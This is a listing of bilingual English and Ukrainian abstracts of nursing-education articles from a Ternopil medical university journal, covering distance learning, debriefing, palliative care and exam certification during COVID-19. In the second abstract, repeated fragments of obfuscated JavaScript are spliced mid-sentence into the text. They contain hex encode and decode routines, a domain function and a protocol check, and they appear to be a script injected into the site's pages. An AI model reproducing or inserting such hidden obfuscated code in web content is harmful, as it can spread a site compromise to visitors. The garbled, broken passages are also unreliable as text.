ЗАСТОСУВАННЯ СИСТЕМИ MOODLE В ДИСТАНЦІЙНОМУ НАВЧАННІ МАГІСТРІВ СЕСТРИНСЬКОЇ СПРАВИ

The article updates the need to use the MOODLE learning management system in the process of professionaltraining for future masters of sciences in nursing. The features, main advantages and stages of work in the MOODLE system are highlighted. The order of organization and sequence of actions of the student in organization of educational process of distance education is shown. The analysis of tools and services ofMOODLE learning management system (administration tools of teaching process, training courses, knowledge control, communication, a single repository for storing teaching materials and tasks, access to the course page with the schedule, electronic trainingmaterial exchange, user registration, control access to training courses, improved communication tools, exercises and tasks in real time, organization of independent and collective work) is provided. The experience of MOODLE syste` use in distance training for future masters of sciences in nursing in nursing in educational and research institute of nursing, I. Ya. Horbachevsky Ternopil StateMedical University is represented.Актуалізована необхідність використання системи управління навчанням MOODLE в процесі підготовки майбутніх магістрів сестринської справи. Висвітлено особливості, основні переваги й етапи роботи в системі MOODLE. Відображено порядок організації і послідовність дій студента під час навчального процесу за дистанційною формою навчання. Проаналізовано інструменти і сервіси системи управління навчанням MOODLE (засоби адміністрування навчального процесу, створення навчальних курсів, контролю знань, комунікації, єдиний репозитарій для зберігання навчальних матеріалів і завдань, доступ до сторінки з розкладом навчальних курсів, здійснення обміну електронними навчальними матеріалами, реєстрація користувачів, контроль доступу до навчальних курсів, поліпшені засоби комунікації, виконання вправ і завдань в реальному режимі часу, організація самостійної і колективної роботи. Відображено досвід застосування системи MOODLE в дистанційній підготовці майбутніх магістрів сестринської справи в Навчально-науковому інституті медсестринства Тернопільського державного медичного університету імені І. Я. Горбачевського

ІННОВАЦІЙНІ МЕТОДИ ВИКЛАДАННЯ ДИСЦИПЛІН у МЕДСЕСТРИНСТВІ

The article presents topical issues of currently usage of innovative methods in education processe of nurses in higher medical educational establishments.It provides a new method of debriefing, which is an important component of clinical simulation. An application of didactic approaches to clinical education through debriefing can help in adequately preparation of students to promote their practical activities because of the need to combine knowledges with basic clinical skills.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;eУ статті викладено актуальні питання використання інноваційних методик у навчальному процесі медичних сестер у вищому медичному навчальному закладі на сучасному етапі.Наведена нова методика дебрифінгу, що є важливим компонентом клінічного моделювання. Застосування дидактичних підходів до клінічної освіти через метод дебрифінгу може належним чином допомогти в підготовці студентів до практичної діяльності через необхідність поєднувати основні знання з клінічною майстерністю. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;

КОНЦЕПТУАЛЬНІ ЗАСАДИ ПРОФЕСІЙНОЇ ПІДГОТОВКИ МАЙБУТНІХ МАГІСТРІВ СЕСТРИНСЬКОЇ СПРАВИ У ВИЩИХ МЕДИЧНИХ НАВЧАЛЬНИХ ЗАКЛАДАХ ЗАСОБАМИ ДИСТАНЦІЙНОГО НАВЧАННЯ

The aim of the work – to highlight the conceptual bases of professional training for future masters of sciences in nursing by means of distance education in higher medical educational institutions.The main body. The main idea of the article is to define and scientifically substantiate the new organization concept of professional training for future masters of sciences in nursing by means of distance education, capable of performing the theoretical and methodological basis of modeling of the educational process. The developed concept is an author’s idea of implementation of distance learning process for future masters in nursing and covers the leading idea and basic concepts of research. The core of the concept, content and semantic content is presented by model of professional training for future masters in nursing by means of distance education in higher medical educational institutions.Conclusion. The concept of professional training for future masters in nursing by means of distance education in higher medical educational institutions is developed by a system of modern views, ideas, targets, priority directions of development of higher nursing education, taking into account the real conditions of modernization of health care system.Мета роботи – висвітлення концептуальних засад професійної підготовки майбутніх магістрів сестринської справи у вищих медичних навчальних закладах засобами дистанційного навчання.Основна частина. Основна ідея статті полягає у визначенні та науковому обґрунтуванні нової концепції організації професійної підготовки майбутніх магістрів сестринської справи засобами дистанційного навчання, здатної виконувати функції теоретико-методологічного підґрунтя моделювання освітнього процесу. Розроблена концепція є авторським уявленням реалізації процесу дистанційного навчання майбутніх магістрів сестринської справи та охоплює провідну ідею й основні поняття дослідження. Ядро концепції, змістовно-смислове наповнення, представлене моделлю професійної підготовки майбутніх магістрів сестринської справи у вищих медичних навчальних закладах засобами дистанційного навчання.Висновок. Розроблена концепція професійної підготовки майбутніх магістрів сестринської справи у вищих медичних навчальних закладах засобами дистанційного навчання є системою сучасних поглядів, ідей, цільових установок, пріоритетних напрямів розвитку вищої медсестринської освіти з урахуванням реальних умов модернізації системи охорони здоров’я

ДОСЛІДЖЕННЯ СТАНУ ЗДОРОВ’Я НАСЕЛЕННЯ – МОЖЛИВОСТІ ДЛЯ РОЗВИТКУ СВІТОВОЇ СПІЛЬНОТИ І ПРОФЕСІОНАЛІВ ІЗ ГРОМАДСЬКОГО ЗДОРОВ’Я

The aim of the work.&nbsp;Cooperation between MacEwan University and I. Horbachevsky Ternopil National Medical University in the realization of the educational programme of Public Health. Materials and Methods.&nbsp;23 students of the MacEwan University Nursing Faculty (including Canada, Ghana, Nigeria, and India) spent one week at I. Horbachevsky Ternopil National Medical University (TNMU). The work of students and teachers was focused on interactive learning of questions of global/planetary health issues and included flipped classroom format, seminars, team-based learning and field clinics coordinated by MacEwan faculty members in partnership with the TNMU members. Results and Discussion.&nbsp;Cooperation between TNMU and MacEwan University corresponds to the strategy of the MacEwan University Nursing Faculty: Nurses making a difference in the health of global communities and mission: transformative learning in nursing education and professional practice. The educational course was organized to the students to align with three essential components of planetary health: relationality, sustainability, and ways of knowing. Through interactive learning in an international setting, students developed a shared understanding of how people relate to each other and to their environments, compared Canadian and Ukrainian approaches to the Sustainable Development Goals, and created space for understanding different ways of knowing and how these enhance health and wellbeing. Students visited a variety of health care facilities, including pediatric clinics, mental health hospital, HIV clinic, perinatal centre, orphanages, and rehabilitation centres. Conclusions.&nbsp;Co-creation of the program, and involving Ukrainian students offers opportunities to examine and change nursing education and professional practice. The face-to-face format of the trip is invaluable in enhancing emotional and informal learning as well as developing capacity as global citizens. The course provides an excellent foundation for students who wish to pursue graduate studies in global health either in Nursing or in Public Health.Мета роботи.&nbsp;Розвиток співпраці між університетом МакЮена (Канада) та Тернопільським національним медичним університетом імені І. Я. Горбачевського МОЗ України в рамках у реалізації освітньої програми охорони здоров’я. Матеріали і методи.&nbsp;23 cтуденти медсестринського факультету університету МакЮена (включаючи студентів із Канади, Гани, Нігерії та Індії) провели один тиждень у Тернопільському національному медичному університеті імені І. Я. Горбачевського МОЗ України. Робота студентів і викладачів була зосереджена на інтерактивному навчанні з питань глобальних/планетарних проблем здоров’я та включала перевернутий формат аудиторії, семінари, командне навчання та польові клініки, координовані членами факультету МакЮена у партнерстві з викладачами Тернопільського національного медичного університету імені І. Я. Горбачевського МОЗ України. Результати й обговорення.&nbsp;Співпраця між Тернопільським національним медичним університетом імені І. Я. Горбачевського МОЗ України та університетом МакЮена відповідає стратегії діяльності медсестринського факультету університету МакЮена: медсестри, які впливають на здоров’я світової спільноти та виконують важливу місію: транс­формаційне навчання та впровадження знань у професійну практику. Навчальний курс, який представили студентам, був організований з метою узгодження з трьома важливими складовими здоров’я на планеті: відносністю, стійкістю та способами пізнання. Завдяки інтерактивному навчанню в міжнародному середовищі, студенти виробили спільне розуміння того, як люди ставляться один до одного та до свого оточення, порівняли канадський та український підходи до цілей сталого розвитку та створили простір для розуміння різних способів пізнання та як вони зміцнюють здоров’я і добробут. Учасники відвідали різноманітні заклади охорони здоров’я, включаючи дитячі клініки, лікарні психічного здоров’я, клініку ВІЛ, перинатальний центр, дитячі будинки та реабілітаційні центри. Висновки.&nbsp;Співпраця у реалізації програми дає можливість вивчити та змінити освіту медсестер та їх професійну практику. Формат поїздки віч-на-віч є неоціненним для підвищення неформального навчання, а також для розвитку потенціалу особистості у світі. Курс є чудовою основою для студентів, які бажають продовжити навчання в університеті, вивчаючи основи здоров’я або в галузі медсестринства, або в галузі охорони здоров’я

ОСОБЛИВОСТІ СПІЛКУВАННЯ МЕДИЧНОЇ СЕСТРИ З ОСОБИСТІСТЮ ПАЦІЄНТА

The article presents the description of behavioral features of the patient and the recommendations for future nurses in the process of professional nursing training for individual approach to patients in the art of communication. У статті подано характеристику поведінкових особливостей пацієнта та рекомендації майбутнім медичним сестрам у процесі професійної підготовки з основ медсестринства для індивідуального підходу до пацієнтів у мистецтві спілкування

РОЛЬ МЕДИЧНИХ СЕСТЕР У ПАЛІАТИВНІЙ (ХОСПІСНІЙ) ДОПОМОЗІ

A palliative care nurse is a health care professional who provides treatment and counsel to patients who are dying of incurable illnesses. Nurses work with physicians and other medical professionals to diagnose, treat, and care for individuals with progressive terminal conditions. They help patients and their family members cope with very difficult circumstances by providing information, counseling, and support.Медсестра з паліативної допомоги — медичний працівник, який лікує та консультує пацієнтів, які помирають від невиліковної хвороби. Медсестри співпрацюють із лікарями та іншими медичними працівниками, щоб діагностувати, лікувати та доглядати за пацієнтами із прогресуючими симптомами смертельної хвороби. Вони допомагають пацієнтам та членам їх сімей долати складні наслідки шляхом надання інформації, консультацій та підтримки

ОСОБЛИВОСТІ ДІЯЛЬНОСТІ ВОЛОНТЕРІВ СОЦІАЛЬНОЇ СЛУЖБИ В УКРАЇНСЬКОМУ СУСПІЛЬСТВІ

This article is about the volunteers’ movement and peculiarities of volunteers’ involvement by social services for adult care. The exploring of different aspects of volunteer nurses activity will develop the effective ways of involving volunteers in social work, multiply the humanistic component of our society.Стаття присвячена дослідженню волонтерського руху, зокрема, вивченню особливостей залучення волонтерів соціальними службами для здійснення догляду вдома за людьми похилого віку. Вивчення різних аспектів діяльності волонтерів-доглядальників дозволить розробити ефективні шляхи залучення добровольців до соціальної роботи, примножити гуманістичну складову життя нашого суспільства

ПЕРЕВАГИ САМООСВІТНЬОЇ ДІЯЛЬНОСТІ МАЙБУТНІХ МАГІСТРІВ МЕДСЕСТРИНСТВА В УМОВАХ ДИСТАНЦІЙНОГО НАВЧАННЯ

The aim of the work – to identify the benefits that contribute to the formation of self-educational competence in future masters of nursing by means of distance learning. The main body. The analysis of scientific interpretations of the concept of “self-education” allowed us to define self-educational competence as an integrated personality characteristic that combines knowledge, skills, methods and experience of self-education and manifests itself in the need, ability and readiness for implementation of such kind of activity aimed at achieving personal, professional, and social self-realization. The article reflects the main theoretical approaches to the definition of the concept of “self-educational competence of future masters of nursing”; the results of diagnostics of this person-professional phenomenon are presented. As a result of scientific research, we have identified four components in the structure of self-educational competence of students of Medical Institution of Higher Education. The necessity of new approaches to the organization of the educational process in the magistracy of nursing is emphasized. First of all, this concerns the organization of self-education of future masters of nursing by means of distance learning. Conclusion. It is proved that the potential of the digital informational and educational environment creates the necessary conditions for students to design an individual trajectory of self-education and create a digital portfolio of knowledge; it increases the level of emotional perception of information, caries out self-control of the results of educational activities, activates an independent cognitive initiative, and motivates students to self-study.Мета роботи – виявлення переваг, що сприяють формуванню самоосвітньої компетенції у майбутніх магістрів медсестринства засобами дистанційного навчання. Основна частина. Аналіз наукових інтерпретацій поняття “самоосвіта” дозволив нам визначити самоосвітню компетентність як інтегровану характеристику особистості, що поєднує знання, вміння, способи і досвід самоосвіти і виявляється в потребі, здатності й готовності до реалізації такого виду діяльності, спрямованої на досягнення особистісної, професійної, соціальної самореалізації особистості. У статті відображено основні теоретичні підходи до визначення поняття “самоосвітня компетентність майбутніх магістрів медсестринства”, представлено результати діагностики цього особистісно-професійного утворення. В результаті наукової розвідки ми виокремили чотири компоненти в структурі самоосвітньої компетентності студентів медичних закладів вищої освіти. Наголошено на необхідності нових підходів до організації навчального процесу в магістратурі медсестринського спрямування, і, передусім, це стосується організації самоосвітньої діяльності майбутніх магістрів медсестринства засобами дистанційного навчання. Висновок. Доведено, що потенціал електронного інформаційно-освітнього середовища створює необхідні умови для проек­тування студентами індивідуальної траєкторії самоосвіти, створення електронного кейса багажу знань, підвищує рівень емоційного сприйняття інформації, здійснює самоконтроль результатів навчальної діяльності, активізує самостійну пізнавальну ініціативність, мотивує студентів до самонавчання

ДОСВІД ОРГАНІЗАЦІЇ АТЕСТАЦІЇ ВИПУСКНИКІВ ДЛЯ СТУДЕНТІВ СПЕЦІАЛЬНОСТІ 223 «МЕДСЕСТРИНСТВО» У ТЕРНОПІЛЬСЬКОМУ НАЦІОНАЛЬНОМУ МЕДИЧНОМУ УНІВЕРСИТЕТІ ПІД ЧАС ПАНДЕМІЇ COVID-19

The full life of&nbsp;Ukrainian citizens&nbsp;has&nbsp;been&nbsp;paralyzing with the implementation of&nbsp;quarantine measures due to the COVID-19&nbsp;pandemic period&nbsp;since March 2020.&nbsp;Unexpected challenges have emerged that have led to a transformation in both the health care system and medical education. The need to train future doctors and nurses has never been more urgent than it is now in the context of a global emergency. In this situation the methods, ways and forms of learning, the interaction of participants in the educational process, the content of educational cycles and the role of higher education players – students should be changed. Ukrainian medical schools and the staff of&nbsp;Ivan Horbachevsky&nbsp;Ternopil National Medical University&nbsp;of the&nbsp;Ministry of Health of Ukraine (TNMU), in particular,&nbsp;have faced with the challenge of an urgent transformation of&nbsp;full-time to distance learning. That included organization of&nbsp;open and transparent&nbsp;passing of&nbsp;semester exams and final certification&nbsp;by&nbsp;our&nbsp;students. This article presents the experience of&nbsp;performing&nbsp;the final certification&nbsp;by&nbsp;students of the&nbsp;Educational and&nbsp;Scientific&nbsp;Institute of&nbsp;Nursing of TNMU.Період карантинних заходів, запроваджених в Україні з березня 2020 р. у зв’язку із поширенням COVID-19, паралізував повноцінне життя країни. З’явилися неочікувані виклики, що спричинили трансформацію як у системі охорони здоров’я, так і в медичній освіті. Потреба у підготовці майбутніх лікарів та медичних сестер ніколи не була такою нагальною, як зараз, у контексті глобальної надзвичайної ситуації. У такій ситуації вимушено повинні змінитися методи&nbsp; та форми навчання, стандартна взаємодія учасників освітнього процесу, зміст навчальних циклів і роль суб’єктів вищої освіти – студентів. Перед закладами вищої медичної освіти і перед колективом Тернопільського національного медичного університету імені І. Я. Горбачевського МОЗ України (ТНМУ), зокрема, постало питання про термінову зміну умов навчання з очного на дистанційний формат, особливо відкритого і прозорого процесу складання студентами семестрових іспитів та атестації випускників. У даній статті наведений досвід організації проведення атестації випускників для студентів Навчально-наукового інституту медсестринства ТНМУ

РОЛЬ МЕДИЧНОЇ СЕСТРИ В ПРОФІЛАКТИЦІ АРТЕРІАЛЬНОЇ ГІПЕРТЕНЗІЇ

Гіпертонічна хвороба (ГХ) - найпоширеніше хронічне захворювання серцево-судинної системи, яке уражає людей в працездатному віці і призводить до розвитку важких ускладнень та інвалідизації. Контроль артеріального тиску - один з основних моментів лікування артеріальної гіпертензії. В цьому не останню роль відіграє робота медичної сестри з пацієнтами. В даній статті показано переваги медсестринського догляду за хворими з гіпертонічною хворобою разом у команді з лікарем